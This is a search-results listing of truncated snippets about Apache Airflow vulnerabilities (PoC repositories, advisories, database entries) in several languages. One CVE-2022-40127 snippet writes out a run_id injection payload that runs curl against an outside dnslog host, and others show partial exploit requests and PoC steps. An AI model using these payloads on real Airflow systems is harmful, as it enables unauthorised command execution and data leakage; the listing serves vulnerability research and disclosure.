2062 matches found
CVE-2023-22884-Airflow-SQLi
Apache Airflow SQLインジェクション PoC CVE-2023-22884 CVE-2023-22884 の PoC は、2.4.0 より前のバージョンに影響する Apache Airflow の RCE 脆弱性です。 公式レポートの説明には次のように記載されています: Apache Software Foundation Apache Airflow および Apache Software Foundation Apache Airflow MySQL Provider における、コマンドに使用される特殊要素の不適切な無害化（'Command...
CVE-2025-69219
CVE-2025-69219 — Apache Airflow Providers HTTP 通过不安全的 Pickle 反序列化实现 RCE 严重性: 高 CVSS 3.1: 8.8 向量: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-913 — 对动态管理代码资源的不当控制 受影响版本: apache-airflow-providers-http = 5.1.0, 修复版本: apache-airflow-providers-http == 6.0.0 补丁: apache/airflow61662 · commit 97839f7 概述...
CVE-2022-40127-Airflow-RCE
Apache Airflow Apache AirflowのExample Dagsの脆弱性により、UIアクセスを持ちDAGをトリガーできる攻撃者が、手動で提供されたrunidパラメータを介して任意のコマンドを実行できます。この問題はApache Airflowのバージョン2.4.0未満に影響します。 このリポジトリは、vsocietyブログで公開されているCVE分析ブログ記事のために作成されました。 https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09d...
PoC-for-CVE-2021-38540-
CVE-2021-38540 概念验证 关键组件缺少身份验证，即 CVE-2021-38540 关于此漏洞： Airflow =2.0.0, =2.0.0, variables List Variables 下创建一个名为 kafkacaptainhookuser 的变量。 PoC 源码： root@kitploit: POST /variable/varimport HTTP/2 Host: airflow.example.com User-Agent: Mozilla/5.0 X11; Linux x8664; rv:91.0 Gecko/20100101 Firefox/91.0...
CVE-2020-11978
CVE-2020-11978: Apache AirflowのサンプルDAGにおけるリモートコード実行 情報 説明: この脆弱性は、AirflowのサンプルDAGが読み込まれた際にRCEを可能にします。CVE-2020-13927と併せて認証なしで悪用される可能性があります。 CVEクレジット : xuxiang of DtDream security 影響を受けるバージョン: CVE-2020-13927について exampletriggertargetdagが読み込まれておらず、トリガーしたい特定のDAGを知っている場合は、をテンプレートとして使用してそのDAGをトリガーできます。...
airflowscan
airflowscan Checklist and tools for increasing security of Apache Airflow. DISCLAIMER This project NOT AFFILIATED with the Apache Foundation and the Airflow project, and is not endorsed by them. Contents The purpose of this project is provide tools to increase security of Apache Airflow...
airflowscan
airflowscan Apache Airflow のセキュリティを強化するためのチェックリストおよびツール。 免責事項 このプロジェクトは Apache Foundation および Airflow プロジェクトとは関係がなく 、それらによる推奨も受けていません。 内容 このプロジェクトの目的は、Apache Airflow インストールのセキュリティを強化するツールを提供することです。 このプロジェクトは以下のツールを提供します： 強化設定を含む設定ファイル - hardenedairflow.cfg を参照。 デフォルトインストールの強化のためのセキュリティチェックリスト -...
CVE-2020-11981-PoC
Ejemplo Construir el stand de demostración root@kitploit: docker-compose up -d VM docker-container: 172.18.0.2 Comando PoC root@kitploit: docker build -t scan11981 . docker run -v /tmp/:/output --network exploit -t scan11981 --targets 172.18.0.2:6379 --output /output/result.txt cat /tmp/result.tx...
CVE-2022-40127
CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2...
poc-cve-2025-69219
CVE-2025-69219 Apache Airflow の安全でないデシリアライゼーションによるRCE 1. poc.py をあなたの Airflow dags ディレクトリにコピーします。 2. UI から poc ワークフローをトリガーします。 3. タスクログで実行出力を確認します。...
CVE-2026-25604-PoC
CVE-2026-25604 PoC Apache Airflow の AWS Auth Manager における SAML 認証バイパスに繋がる Host ヘッダーインジェクション 攻撃者は SAML ログインフローに悪意のある Host ヘッダーを注入し、Assertion Consumer Service ACS URL を攻撃者が制御するサーバーに向けさせることができます。これにより、攻撃者は有効な SAML レスポンスを取得 してそれをリプレイし、被害者の Airflow インスタンスに不正アクセス できるようになります。また、アクセス制御が異なる複数の Airflow...
Apache Airflow <=1.10.10 - Remote Code Execution
Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler depending on the executor in us...
CVE-2026-32794
CVE-2026-32794: Apache Airflow Databricks Provider における TLS 証明書検証バイパス キーワード: TLS、証明書検証、MITM、Kubernetes、Databricks、OAuth、CWE-295、Apache Airflow 目次 概要 脆弱性の詳細 技術分析 攻撃チェーン 影響 修復策 タイムライン 参考情報 連絡先 免責事項 概要 apache-airflow-providers-databricks パッケージは、フェデレーショントークン交換中に Kubernetes API サーバーと通信する際、TLS...
CVE-2026-75156
Apache Airflow FAB provider versions 3.7.3 through 3.8.0 do not validate the issuer or audience of Azure AD idtokens during OAuth login. Deployments are affected only when the FAB auth manager is configured with Azure AD as an OAuth provider. Because the signing keys are fetched from Microsoft's...
CVE-2026-45360 vulnerabilities
Vulnerabilities for packages: airflow-core, airflow...
GHSA-VXJ7-4XRP-5VR4 vulnerabilities
Vulnerabilities for packages: airflow...
GHSA-2WXC-X7RJ-HG8F vulnerabilities
Vulnerabilities for packages: airflow...
CVE-2026-59893 vulnerabilities
Vulnerabilities for packages: mycli, airflow, mlflow...